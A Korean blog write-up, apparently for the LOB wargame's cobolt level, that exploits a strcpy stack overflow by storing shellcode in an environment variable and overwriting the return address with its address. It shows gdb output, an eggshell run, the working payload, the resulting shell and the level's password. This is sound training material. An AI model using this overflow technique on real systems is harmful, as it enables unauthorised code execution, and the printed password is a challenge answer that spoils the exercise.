본문 바로가기

WarGame/LOB

[LOB] gremlin :: 환경변수를 이용한 BOF


  • user : gremline
  • 문제 : cobolt


cobolt.c의 소스파일은 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/
 
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]); // vulnerability!!!
    printf("%s\n", buffer);
}
cs


이전 문제와 거의 흡사합니다. 차이점은 buffer의 크기가 16 Byte로 매우 작아졌습니다. 따라서 buffer에는 shellcode를 넣을 수 없으므로 환경변수를 이용하여 문제를 풀겠습니다.


Step 1. 먼저 GDB를 이용하여 buffer의 크기를 파악해야 합니다. 아래와 같이 buffer의 크기는 16 Byte이고 이어서 SFP와 RET가 있는 것을 확인할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
(gdb) b *0x8048465
Breakpoint 1 at 0x8048465
(gdb) r `python -c 'print "A"*16'`
Starting program: /home/gremlin/tmp/cobolt `python -c 'print "A"*16'`
 
Breakpoint 1, 0x8048465 in main ()
(gdb) x/10x $esp
0xbffff0e0:     0xbffff0e8      0xbffff257      0x41414141      0x41414141
0xbffff0f0:     0x41414141      0x41414141      0xbffff100      0x400309cb
0xbffff100:     0x00000002      0xbffff144
(gdb) x/x $ebp+4
0xbffff0fc:     0x400309cb
cs


Step 2. Eggshell을 이용하여 환경 변수의 shellcode를 등록하고 pegg를 이용하여 "EGG" 환경 변수의 주소 값을 출력시킵니다.


1
2
3
4
[gremlin@localhost tmp]$ /tmp/eggshell
Using address: 0xbffff0b8
[gremlin@localhost tmp]$ /tmp/pegg
Addr = 0xbffff4cd
cs


※ 주의! 공개되어 있는 Eggshell을 사용할 경우, eggshell.c의 소스코드 마지막에 system("/bin/bash")를 띄우도록 되어 있는 것이 있습니다. gate 문제에 처음에서 언급했듯이 LOB 환경에서는 bash2를 띄워야 제대로 문제를 풀 수 있기 때문에 이와 같은 eggshell은 마지막에 있는 코드를 system("/bin/bash2")로 바꾸셔야 합니다.


Step 3. 이제 buffer 부터 SFP까지를 A 문자로 덮어버리고 RET 값을 해당 환경 변수 주소로 수정하면 main()이 Return 되면서 shellcode를 실행시킬 것 입니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
3
4
5
6
7
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\xcd\xf4\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAA攻?
bash$ id
uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed
cs